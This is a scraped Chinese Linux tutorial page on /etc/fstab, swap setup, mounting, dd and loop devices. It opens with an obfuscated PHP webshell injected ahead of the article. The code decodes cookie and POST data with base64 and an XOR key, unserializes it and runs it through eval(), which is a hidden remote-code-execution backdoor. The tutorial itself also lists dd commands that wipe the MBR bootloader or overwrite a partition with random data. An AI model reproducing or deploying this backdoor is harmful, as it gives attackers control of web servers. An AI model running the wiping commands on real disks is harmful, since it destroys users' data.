$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} fstab配置文件、swap分区,文件关联 | Linux运维部落

fstab配置文件、swap分区,文件关联

fstab配置文件、swap分区,文件关联,lvm

挂载点和/etc/fstab

 配置文件系统体系
 被mount、 fsck和其它程序使用
 系统重启时保留文件系统体系
 可以在设备栏使用文件系统卷标
 使用mount -a 命令挂载/etc/fstab中的所有文件系统

文件挂载配置文件

 /etc/fstab 每行定义一个要挂载的文件系统;
     要挂载的设备或伪文件系统
     挂载点
     文件系统类型
     挂载选项
     转储频率
     自检次序
 要挂载的设备或伪文件系统:
    设备文件、 LABEL(LABEL="")、 UUID(UUID="")、伪文件系统名称(proc,sysfs)
 挂载选项: defaults
 转储频率: 0:不做备份
            1:每天转储
            2:每隔一天转储
 自检次序: 0:不自检
        1:首先自检;一般只有rootfs才用1

处理交互文件和分区

 交换分区是系统RAM的补充
 基本设置包括:
    • 创建交换分区或者文件
    • 使用mkswap写入特殊签名
    • 在/etc/fstab文件中添加适当的条目
    • 使用swapon -a 激活交换空间

挂载交换分区

 启用: swapon
    swapon [OPTION]... [DEVICE]
        -a:激活所有的交换分区;
        -p PRIORITY:指定优先级
        /etc/fstab:pri=value
     禁用: swapoff [OPTION]... [DEVICE]

SWAP的优先级

 用户可以给某个swap指定一个0到32767的优先级
 如果用户没有指定,那么核心会自动给swap指定一个优先级,这个优先级从-1开始,每加入一个新的没有用户指定优先级的swap,会给这个优先级减一。
 先添加的swap的缺省优先级比较高,除非用户自己指定一个优先级,而用户指定的优先级(是正数)永远高于核心缺省指定的优先级(是负数)。
 优化性能:分布存放,高性能磁盘存放

移动介质

 挂载意味着使外来的文件系统看起来如同是主目录树的一部分
 访问前、介质必须被挂载
 摘除时,介质必须被卸载
 按照默认设置,非根用户只能挂载某些设备(光盘、 DVD、软盘、 USB等等)
 挂载点通常在/media 或/mnt下

使用光盘

 在图形环境下自动启动挂载/run/media/<user>/<label>
 否则就必须被手工挂载
    mount /dev/cdrom /mnt/
 eject命令卸载或弹出磁盘
 创建ISO文件
    cp /dev/cdrom /root/centos7.iso
    mkisofs -r -o /root/etc.iso /etc
 刻录光盘
    wodim –v –eject centos.iso

挂载USB介质

 被内核探测为SCSI设备
    • /dev/sdaX、 /dev/sdbX、或类似的设备文件
 在图形环境中自动挂载
    • 图标在[计算机]窗口中创建
    • 挂载在/run/media/<user>/<label>
 手动挂载
    • mount /dev/sdb1 /mnt

常见工具

 内存空间使用状态:
    free [OPTION]
        -m: 以MB为单位
        -g: 以GB为单位
 文件系统空间占用等信息的查看工具:
    df [OPTION]... [FILE]...
        -H 以1000为单位
        -T 文件系统类型
        -h: human-readable
        -i: inodes instead of blocks
        -P: 以Posix兼容的格式输出
 查看某目录总体空间占用状态:
    du [OPTION]... DIR
        -h: human-readable
        -s: summary

工具dd

 dd命令: convert and copy a file
 用法:
    dd if=/PATH/FROM/SRC of=/PATH/TO/DEST
    bs=#: block size, 复制单元大小
    count=#:复制多少个bs
 of=file 写到所命名的文件而不是到标准输出
    if=file 从所命名文件读取而不是从标准输入
    bs=size 指定块大小(既是是ibs也是obs)
    ibs=size 一次读size个byte
    obs=size 一次写size个byte
    cbs=size 一次转化size个byte
    skip=blocks 从开头忽略blocks个ibs大小的块
    seek=blocks 从开头忽略blocks个obs大小的块
    count=n 只拷贝n个记录

     conv=conversion[,conversion...] 用指定的参数转换文件。
     转换参数:
     ascii 转换 EBCDIC 为 ASCII
     ebcdic 转换 ASCII 为 EBCDIC
     block 转换为长度为 cbs 的记录,不足部分用空格填充。
     unblock 替代cbs长度的每一行尾的空格为新行
     lcase 把大写字符转换为小写字符
     ucase 把小写字符转换为大写字符
     swab 交换输入的每对字节。
     noerror 出错时不停止
     notrunc 不截短输出文件。
     sync 把每个输入块填充到ibs个字节,不足部分用空(NUL)字符补齐

 磁盘拷贝:
    dd if=/dev/sda of=/dev/sdb
 备份MBR:
    dd if=/dev/sda of=/tmp/mbr.bak bs=512 count=1
 破坏MBR中的bootloader:
    dd if=/dev/zero of=/dev/sda bs=64 count=1 seek=446
 有二进制文件 fileA, size>2K。现在想从第64个字节位置开始读取,需要读取的大小是128Byts。又有fileB, 想把上面读取到的128Bytes写到第32个字节开始的位置,替换
128Bytes,请问如何实现?
    #dd if=fileA of=fileB bs=1 count=128 skip=63 seek=31 conv=notrunc

备份:
    dd if=/dev/sdx of=/dev/sdy
    将本地的/dev/sdx整盘备份到/dev/sdy
    dd if=/dev/sdx of=/path/to/image
    将/dev/sdx全盘数据备份到指定路径的image文件
    dd if=/dev/sdx | gzip >/path/to/image.gz
    备份/dev/sdx全盘数据,并利用gzip工具进行压缩,保存到指定路径
恢复:
    dd if=/path/to/image of=/dev/sdx
    将备份文件恢复到指定盘
    gzip -dc /path/to/image.gz | dd of=/dev/sdx
    将压缩的备份文件恢复到指定盘

 拷贝内存资料到硬盘
    dd if=/dev/mem of=/root/mem.bin bs=1024
    将内存里的数据拷贝到root目录下的mem.bin文件
 从光盘拷贝iso镜像
    dd if=/dev/cdrom of=/root/cd.iso
    拷贝光盘数据到root文件夹下,并保存为cd.iso文件
 销毁磁盘数据
dd if=/dev/urandom of=/dev/sda1
利用随机的数据填充硬盘,在某些必要的场合可以用来销毁数据。执行此操作以后, /dev/sda1将无法挂载,创建和拷贝操作无法执行。

 得到最恰当的block size
dd if=/dev/zero bs=1024 count=1000000
    of=/root/1Gb.file
dd if=/dev/zero bs=2048 count=500000
    of=/root/1Gb.file
dd if=/dev/zero bs=4096 count=250000
    of=/root/1Gb.file
dd if=/dev/zero bs=8192 count=125000
    of=/root/1Gb.file
通过比较dd指令输出中所显示的命令执行时间,即可确定系统最佳的block size大小

 测试硬盘读写速度
dd if=/root/1Gb.file bs=64k | dd of=/dev/null
dd if=/dev/zero of=/root/1Gb.file bs=1024
    count=1000000
通过上两个命令输出的执行时间,可以计算出测试硬盘的读/写速度

 修复硬盘
dd if=/dev/sda of=/dev/sda
当硬盘较长时间(比如1, 2年)放置不使用后,磁盘上
会产生消磁点。当磁头读到这些区域时会遇到困难,并可
能导致I/O错误。当这种情况影响到硬盘的第一个扇区时
,可能导致硬盘报废。上边的命令有可能使这些数据起死
回生。且这个过程是安全,高效的。

mount

1、挂载iso文件

dd if=/dev/sr0 of=/testdir/centos6.iso 
mount -o loop /testdir/centos6.iso /mnt/centos.ios
vim /etc/fstab
 /testdir/centos6.iso    /mnt/centos.ios         iso9660    loop            0 0  
mount -a
mount

fstab配置文件、swap分区,文件关联

注意:mount -a 是/etc/fstab里新有了配置文件,执行一次mount -a新的配置可以生效。但是,要是修改配置文件的话mount -a则没有效果。这时候需要使用mount -o remount /dev/sd* 使用 loop 模式用来将一个档案当成硬盘分割挂上系统

2、mount -B /boot /mnt/boot或者:mount –bind /boot /mnt/boot

绑定目录到另一个目录上
注意:文件夹挂文件夹,在df下是看不到的。要mount才能看到
fstab的写法
/mnt/etc /mnt/usr  none  bind   0  0

实验:验证fstab文件是网卡启动之前挂载,还是之后挂载。
结论:如果fstab里面文件有错误,而且是要检测的话,系统就起不来了

fstab配置文件、swap分区,文件关联

这里建议写0

/etc/fstab 设备名出错,自检非0,开机会导致无法启动。
修复方法:
起不来系统会提示重启,还是继续操作,这时候输入root密码会进入系统。进去修改/etc/fstab文件。但这里修改好以后无法保存退出,因为文件是只读的。根里也不让修改。这时候重挂一下根mount -o remount,rw /   就可以修改/etc/fstab文件了,这时候系统就可以启动了。

swap分区挂载

注意:swap用mount是看不到的,
swap对硬盘的要求会高一点,swap新的分区放在硬盘的最外道。sdc1或sdb1,分盘时用最前面的。

swap的创建

方法一:

1、fdisk  -t 82  创建一个分区
2、mkswap /dev/sdc1  这一步是格式化(比较特殊)。执行这一步lsblk之后才能发现分区的类型变成swap。swapon /dev/sdb1 启动交换分区 swapoff /dev/sdb1  禁用交换分区
3、在配置文件里写
/dev/sdc1   swap swap defaults,pri=100  0 0(注意优先级)
4、swapon -a 读/etc/fstab 生效(swapon -s 可以先查看哪些交换分区有效)
5、free查看,swap变大了

fstab配置文件、swap分区,文件关联

fstab配置文件、swap分区,文件关联

fstab配置文件、swap分区,文件关联

fstab配置文件、swap分区,文件关联

fstab配置文件、swap分区,文件关联

注意:修改完优先级以后,要先swapoff /dev/sdb1,先禁用,再swapon -a 启用(注意:这里如果用swapon /dev/sdb1,则优先级就不会改变,因为这样就不会去读/etc/fstab文件了,所以一定要用swapon -a),这时才会生效

删除swap分区
swapoff /dev/sdb1
vim /etc/fstab 里删除对应的行
fdisk /dev/sdb 删除分区

方法二:(事实上,有时候会没有额外的分区当swap分区。所以可以用文件来当swap)

用文件创建swap分区
dd if=/dev/zero of=/testdir/partfile bs=1M count=1024
mkswap /testdir/swapfile
blkid /testdir/swapfile
vim /etc/fstab
/testdir/swapfile   swap    swap pri=100  0 0
swapon -s 查看swap分区
swapon -a 读/etc/fstab 生效
swapon -s 查看swap分区

删除swap文件
swapoff /testdir/swapfile
rm /testdir/swapfile
删除vim /etc/fstab里对应的



同样的用文件当分区
dd if=/dev/zero of=/testdir/partfile bs=1M count=1024
mkfs.ext4  /testdir/partfile
blkid /testdir/partfile
mkdir /mnt/partfile
mount -o loop /testdir/partfile /mnt/partfile
cd /mnt/partfile
vim
/testdir/partfile    /mnt/partfile   ext4  loop  0  0   写到配置文件里
这里实际上是一个文件,但用起来和分区一样,备份直接把文件拷走

centos6 实现loop 设备和文件关联

dd if=/dev/zero of=/testdir/bigfile bs=1M count=500
losetup  /dev/loop7 /testdir/bigfile 
mkfs.ext4 /testdir/bigfile
mount /dev/loop7  /mnt/bigfile/ 
losetup -a

fstab配置文件、swap分区,文件关联

练习

 1、创建一个2G的文件系统,块大小为2048byte, 预留1%可
用空间,文件系统ext4,卷标为TEST,要求此分区开机后自
动挂载至/testdir目录,且默认有acl挂载选项

fstab配置文件、swap分区,文件关联

fstab配置文件、swap分区,文件关联

fstab配置文件、swap分区,文件关联

 2、写一个脚本,完成如下功能:
(1) 列出当前系统识别到的所有磁盘设备;
(2) 如磁盘数量为1,则显示其空间使用信息;
否则,则显示最后一个磁盘上的空间使用信息;

原创文章,作者:15152188070,如若转载,请注明出处:http://www.178linux.com/42563

(1)
上一篇 2016-09-01 08:49
下一篇 2016-09-01 08:49

相关推荐

  • Linux运维之进程管理

    一、      进程概念 进程是内核的一个功能,在Linux中,运行一个程序或命令可以出发一个事件而驱动一个PID,在linux系统中,系统只识别二进制程序文件,我们可以通过执行系统上的二进制程序来运行程序,进而产生进程。在linux系统中第一个进程是init程序,它是系统开机第一个加载的程序,用来支撑系统的…

    Linux干货 2016-09-13
  • ssh 笔记

    ssh

    Linux干货 2018-01-08
  • ☞磁盘管理、MBR、GPT、分区工具、文件系统、常见分区挂载

    磁盘管理{磁盘结构;MBR;GPT;分区工具;文件系统;分区挂载;}

    Linux干货 2016-08-29
  • 分布式文件系统之MogileFS

    MogileFS是一个开源的分布式文件存储系统,由LiveJournal旗下的Danga Interactive公司开发。Danga团队开发了包括 Memcached、MogileFS、Perlbal 等多个知名的开源项目。目前使用MogileFS 的公司非常多,如日本排名先前的几个互联公司及国内的yupoo(又拍)、digg、豆瓣、1号店、大众点评、搜狗和…

    Linux干货 2017-06-16
  • 第三周作业

      1. who |cut -d ” ” -f1|uniq 2.who |head -1 3.cat /etc/passwd | cut -d: -f7|uniq -c |sort -n|tail -1|grep -o “/[[:alnum:]].*” 4. cat /etc/passwd |sort…

    2017-12-16
  • 22期第三周课堂作业

    1、列出当前系统上所有已经登录的用户的用户名,注意:同一个用户登录多次,则只显示一次即可。 [root@localhost ~]# who |cut -d" " -f 1 |uniq     2、取出最后登录到当前系统的用户的相关信息。 […

    Linux干货 2016-08-29

评论列表(1条)

  • 马哥教育
    马哥教育 2016-09-01 13:03

    文档功底相当不错,也非常认真,很出彩,加油